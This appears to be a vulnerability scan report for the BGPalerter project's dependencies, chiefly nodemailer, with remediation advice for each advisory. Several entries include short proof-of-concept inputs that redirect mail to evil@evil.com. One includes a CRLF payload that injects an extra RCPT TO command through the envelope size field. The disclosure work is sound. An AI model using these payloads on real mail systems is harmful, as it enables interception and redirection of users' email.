Vulnerabilities |
22 via 37 paths |
|---|---|
Dependencies |
212 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@9.1.0.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity through the addressparser function in lib/addressparser/index.js. An attacker can block the Node.js event loop by supplying a crafted comma-separated address list, such as a To, Cc, Bcc, From, or Reply-To header value, that forces the parser to spend CPU time proportional to the square of the input size. This stalls email processing and delays or freezes every other request handled by the same process.
Remediation
Upgrade nodemailer to version 9.1.0 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.0.6.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the address parser in src/addressparser/index.ts, where the regex /\s*\b[^@\s]+@[^\s]+\b\s*/ was used to search free text for an email address. The [^@\s]+ quantifier causes quadratic backtracking: from every offset it rescans the run up to the next @ and then fails, advancing one character and repeating. An attacker who can supply a long whitespace-free string containing no usable @ character can block the Node.js event loop for tens of seconds, with 273 KB of input producing approximately 43 seconds of blocking.
Remediation
Upgrade nodemailer to version 10.0.6 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@9.1.0.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict via RFC 5322 comment mis-parsing in lib/addressparser/index.js. An attacker can make mail be delivered to an attacker-controlled domain by supplying a recipient such as user@good-corp.com(x)evil.com, which the parser glues into good-corp.comevil.com instead of treating the comment as folding whitespace. Applications that approve recipients by parsing or matching the domain separately can be tricked into sending mail to a domain they never intended to allow, exposing messages to the attacker-controlled recipient.
Remediation
Upgrade nodemailer to version 9.1.0 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@9.1.0.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict through _normalizeAddress in lib/mime-node/index.js. An attacker can cause mail to be delivered to an attacker-controlled domain by supplying a recipient address whose domain contains an IDN-mapped or ignored code point, such as an invisible soft hyphen, that a standards-compliant domain check resolves to a trusted domain but Nodemailer encodes to a different xn-- label. This can make an application approve or display one recipient domain while Nodemailer sends the message to another external domain, exposing the intended email content and breaking domain-based recipient controls.
Remediation
Upgrade nodemailer to version 9.1.0 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.1.4.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict via the address parser in src/addressparser/index.ts when processing email header values containing nested comments. RFC 5322 §3.2.2 defines comments as nestable, but the tokenizer ends a comment at the first ) encountered, so the ) closing an inner comment prematurely closes the outer one and releases the remaining comment text, including any address it contains, into the parsed header. An attacker can construct a To header such as Victim (x(y) <evil@evil.com>) <v@victim.com> to redirect delivery to evil@evil.com instead of the intended v@victim.com, because the envelope RCPT TO is derived from the same malformed parse.
PoC
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("Victim (x(y) <evil@evil.com>) <v@victim.com>"));
// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]
Python's email._header_value_parser.get_address_list reads the same value as v@victim.com with the display name Victim, with no defects reported.
The envelope a message gets is built from the same parse, so sendMail({ to: "Victim (x(y) <evil@evil.com>) <v@victim.com>" }) issues the RCPT TO shown above.
Note: The PoC states no specific environment, runtime version, or operating system.
Remediation
Upgrade nodemailer to version 10.1.4 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.1.4.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict via the address parser in src/addressparser/index.ts, where the tokenizer tracks only a single open operator and does not account for quoted strings, comments, or domain literals nested inside an angle-addr or group. An attacker who controls a recipient address can supply a value such as 'G: (a; <evil@evil.com>) <v@victim.com>;' to cause the parser to terminate the group at the ; inside the comment, resulting in evil@evil.com being added to the SMTP envelope as a recipient instead of, or in addition to, the intended address. Similarly, a quoted local part containing > prematurely closes an angle-addr, so <"a@evil.com>"@good.com> is resolved to evil.com rather than good.com.
PoC
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]
Python's email._header_value_parser.get_address_list reads the same value as the single mailbox v@victim.com, with no defects reported.
The envelope a message gets is built from the same parse, so sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" }) issues the RCPT TO shown above.
Note: The PoC uses the addressparser module bundled with nodemailer and states no specific version, OS, or non-default configuration.
Remediation
Upgrade nodemailer to version 10.1.4 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.1.4.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict via the address parser (src/addressparser/index.ts) when processing angle-addr and group constructs. The tokenizer tracks only a single open operator and, once < or : is encountered, looks only for the closing > or ; without accounting for quoted strings, comments, or domain literals that may appear inside. A > character inside a quoted local part therefore terminates the angle-addr prematurely, so an input such as <"a@evil.com>"@good.com> is parsed as an address at evil.com rather than the RFC 5322-conformant mailbox "a@evil.com>"@good.com. Similarly, a ; inside a quoted display name or a comment prematurely closes a group, causing additional recipients to be injected into the envelope, so G: (a; <evil@evil.com>) <v@victim.com>; delivers only to evil@evil.com instead of v@victim.com.
PoC
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"a@evil.com>\"@good.com>"));
// [ { address: '"a@evil.com', name: '@good.com>' } ]
Python's email._header_value_parser.get_address_list reads the same value as "a@evil.com>"@good.com, with no defects reported.
The envelope a message gets is built from the same parse, so sendMail({ to: "<\"a@evil.com>\"@good.com>" }) issues the RCPT TO shown above.
Note: The PoC states no specific environment, runtime version, or operating system.
Remediation
Upgrade nodemailer to version 10.1.4 or higher.
References
high severity
- Vulnerable module: @opentelemetry/core
- Introduced through: @sentry/node@9.47.2
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-amqplib@0.46.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-connect@0.43.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-express@0.47.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-fs@0.19.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-hapi@0.45.2 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-http@0.57.2 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.54.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-koa@0.47.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-mongoose@0.46.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-pg@0.51.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-undici@0.10.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/resources@1.30.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/sdk-trace-base@1.30.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-mysql2@0.45.2 › @opentelemetry/sql-common@0.40.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/instrumentation-pg@0.51.1 › @opentelemetry/sql-common@0.40.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
-
Introduced through: bgpalerter@nttgin/BGPalerter › @sentry/node@9.47.2 › @opentelemetry/sdk-trace-base@1.30.1 › @opentelemetry/resources@1.30.1 › @opentelemetry/core@1.30.1Remediation: Upgrade to @sentry/node@10.0.0.
Overview
@opentelemetry/core is an OpenTelemetry Core provides constants and utilities shared by all OpenTelemetry SDK packages.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the extract function. An attacker can cause excessive memory allocation by sending oversized baggage HTTP headers or equivalent data via non-HTTP transports.
Note: This is only exploitable if the deployment does not enforce transport-layer header size limits, such as when using custom transports or when default HTTP header size limits are increased.
Workaround
This vulnerability can be mitigated by configuring strict header size limits at the server or gateway level, or by validating input size before passing it to the propagator in non-HTTP transports.
Remediation
Upgrade @opentelemetry/core to version 2.8.0 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.0.2.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Uncontrolled Recursion via _parseAddresses in src/mime-node/index.ts when a recipient field is supplied as a deeply nested array. The native array-to-string conversion applied before passing the value to addressparser recurses once per nesting level, so a recipient wrapped in roughly a few thousand arrays (approximately 10 KB of JSON) exhausts the call stack and causes a RangeError. Because the compile step of sendMail was not wrapped in a try/catch, the synchronous throw escapes the callback chain and can crash the process.
Note: This is only exploitable if the caller does not catch the complete synchronous invocation of sendMail.
Remediation
Upgrade nodemailer to version 10.0.2 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@8.0.9.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the comment field in the list message option. An attacker can inject arbitrary headers into generated email messages by supplying crafted input containing CRLF sequences.
Remediation
Upgrade nodemailer to version 8.0.9 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@9.0.1.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the message-level raw option bypassing disableFileAccess and disableUrlAccess flags. An attacker can access arbitrary local files or perform server-side request forgery by supplying crafted input to the raw field, which bypasses intended access restrictions and results in sensitive data being sent to an attacker-controlled recipient.
Remediation
Upgrade nodemailer to version 9.0.1 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@8.0.5.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.
Remediation
Upgrade nodemailer to version 8.0.5 or higher.
References
medium severity
- Vulnerable module: deepmerge
- Introduced through: deepmerge@4.3.1
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › deepmerge@4.3.1
Overview
Affected versions of this package are vulnerable to Prototype Pollution via mergeObject(), which fails to validate keys before writing them to target objects. An attacker can supply a malicious source object containing a __proto__ key in a merge operation, injecting attacker-controlled properties into the prototype of the returned object and causing applications to inherit unintended values when accessing properties without own-property checks.
Notes:
- The proposed fix in PR #274 denies proto by name in both merge loops and adds regression tests. The PR was closed without merging and the main branch still contains the vulnerable guard.
- The maintainer closed the issue as “completed” without a technical rebuttal. Per them, they will not review the fix
- Scope: According to the tests, a plain {} target is guarded. The global Object.prototype is not modified, and Impact is limited to the object returned by merge().
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for deepmerge.
References
medium severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.0.10.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the isPartialResponse function and the _onData method of SMTPConnection in src/smtp-connection/index.ts, where each continuation line is appended to the same response queue entry and the partial check re-runs str.slice(str.lastIndexOf('\n') + 1) over the whole accumulated string, forcing a full flatten of the V8 rope on every line. An attacker who controls or impersonates the SMTP peer can starve the event loop of the entire Node.js process, halting every other connection, request, and timer in it, and grow memory without bound, by streaming continuation lines such as 220-flood and never sending a completion line. This is reachable during the greeting and EHLO phases before the client authenticates or issues any command, the connection module applies no cap on accumulated reply size or line count, and the existing timers do not help, since greetingTimeout fires into an already starved loop and the inactivity socketTimeout resets on every inbound chunk.
Remediation
Upgrade nodemailer to version 10.0.10 or higher.
References
medium severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.0.13.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AUTH mechanism detection of SMTPConnection._actionEHLO in src/smtp-connection/index.ts, where all four patterns contain (?:(\s+|=)[^\n]*\s+|\s+|=) before the mechanism literal, so [^\n]* and the trailing \s+ compete for the same whitespace and the engine tries every partition of the run before failing. An attacker who controls or intercepts the SMTP peer can stall the whole Node.js process, suspending every other request, timer, and connection in it, by answering EHLO with a line such as 250-AUTH followed by a long whitespace run and a token that matches no mechanism. This is reached before authentication on the first EHLO against a server offering no STARTTLS, on the second after a STARTTLS upgrade, or on the first when ignoreTLS is set, and the synchronous stall cannot be interrupted by the socket timeout, with roughly 4,000 whitespace characters already costing tens of seconds per pattern.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nodemailer to version 10.0.13 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@8.0.8.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Improper Certificate Validation due to the use of rejectUnauthorized: false in the internal HTTPS client, which disables TLS certificate verification during OAuth2 token retrieval. An attacker can intercept sensitive OAuth2 credentials and tokens by performing a machine-in-the-middle attack on the HTTPS connection.
Remediation
Upgrade nodemailer to version 8.0.8 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.0.2.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Improper Certificate Validation via the DNS cache in src/shared/index.ts, where the TLS server name (SNI) is stored alongside resolved addresses and keyed only by hostname. When two transports in the same process connect to the same host with different tls.servername values, the second transport inherits the server name cached by the first, sends it as SNI, and verifies the peer certificate against it. This allows an attacker to present a certificate issued for the first transport's server name to the second transport's connection, effectively bypassing certificate validation and enabling a MitM attack that exposes credentials sent to the wrong endpoint.
Remediation
Upgrade nodemailer to version 10.0.2 or higher.
References
medium severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.0.10.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the parseHeaders method of MessageParser in src/dkim/message-parser.ts, whose unfold loop appends each continuation line onto the preceding one and then re-tests the anchored /^[ \t]/ against the growing merged line, forcing a full flatten of the accumulated rope on every iteration. A user who can influence the size of a header that folds into many continuation lines, most readily a large recipient list but equally a long Subject, References, or custom header, can starve the event loop of the single threaded sending process for seconds on every signed message, halting all other work in it. This requires DKIM signing to be enabled, and nothing bounds the input, since checkHeaders buffers the header block until the terminator and the signer's MAX_MESSAGE_SIZE and cacheTreshold apply to the body stream rather than the headers, while the MIME composer folds the value deterministically at column 76 so the line count scales with the supplied size.
Remediation
Upgrade nodemailer to version 10.0.10 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@9.1.1.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the resolveContent() method in lib/mailer/mail-message.js. An attacker can read local files or trigger outbound URL fetches by supplying html or attachment content that is resolved through the legacy mail.resolveContent(data, key, callback) signature. When a plugin or application calls this API on a message created with disableFileAccess or disableUrlAccess, the access policy is dropped and the content resolver reaches fs.createReadStream() or nmfetch(), exposing server files or causing SSRF.
Remediation
Upgrade nodemailer to version 9.1.1 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@8.0.9.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Missing Authorization in the jsonTransport message, which fails to enforce file and URL access restrictions during message normalization. An attacker can access local files or trigger outbound HTTP requests by supplying crafted message content fields such as attachment path or text.href.
Remediation
Upgrade nodemailer to version 8.0.9 or higher.
References
low severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@8.0.4.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the envelope.size parameter in the sendMail function. An attacker can inject arbitrary SMTP commands by supplying CRLF characters in the size property, which are concatenated directly into the SMTP command stream. This can result in unauthorized recipients being added to outgoing emails or other SMTP commands being executed.
Note:
This is only exploitable if the application explicitly passes a custom envelope object with a user-controlled size property to the mail sending process.
PoC
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: 'sender@example.com',
to: ['recipient@example.com'],
size: '100\r\nRCPT TO:<attacker@evil.com>',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM:<sender@example.com> SIZE=100');
console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED');
console.log(' C: RCPT TO:<recipient@example.com>');
server.close();
transporter.close();
});
});
Remediation
Upgrade nodemailer to version 8.0.4 or higher.
References
low severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@7.0.13
Detailed paths
-
Introduced through: bgpalerter@nttgin/BGPalerter › nodemailer@7.0.13Remediation: Upgrade to nodemailer@10.0.13.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Improper Adherence to Coding Standards in the checkChar method of the Tokenizer class in src/addressparser/index.ts, where operatorExpecting holds a single expected closing character, so once < opens an address scope a following ( is not recognized as an operator and the RFC 5322 comment survives verbatim in the parsed address. An attacker can have a recipient address approved by an application's own domain allow-list check and then sent differently on the wire by supplying a value such as Legit User <user@good-corp.com(x)evil.com>, since the parentheses reach envelope.to and the RCPT TO command unchanged, where a conformant server rejects the transaction and a server that does strip comments resolves a different domain than the validator read. No recovery path applies, because _recoverAddrSpec returns immediately when the address contains no whitespace and the angle bracket path inserts none, and every field funnelling through MimeNode._parseAddresses, including to, cc, bcc, from, replyTo, and an explicit envelope, is affected identically.
Remediation
Upgrade nodemailer to version 10.0.13 or higher.